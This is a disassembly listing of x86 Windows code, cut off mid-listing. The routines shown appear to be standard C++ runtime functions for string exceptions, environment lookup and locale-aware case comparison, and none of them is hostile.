loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2D0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 25E0000h nop push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2D0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2D0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2D0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC71C, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC821[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426750 proc near nop jmp near ptr 71B2ACCBh sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 2880000h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB364, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2660435h pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB364, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB364 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB5BC, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi nop call near ptr 2640000h test eax, eax jz short loc_4269DC mov dword_4DB5BC, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE5C push edi push esi call near ptr 2650000h nop test eax, eax jz loc_426B7D mov dword_4DB5BC, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB5BC cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2831279h nop mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2831279h test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2650000h nop test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2840000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C32C mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB5C0 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 2610000h test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE5C push esi push edi call near ptr 26107A2h nop test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB5C0, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2610000h nop jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB374 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 2831279h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2831279h test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB364 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 26107A2h nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: 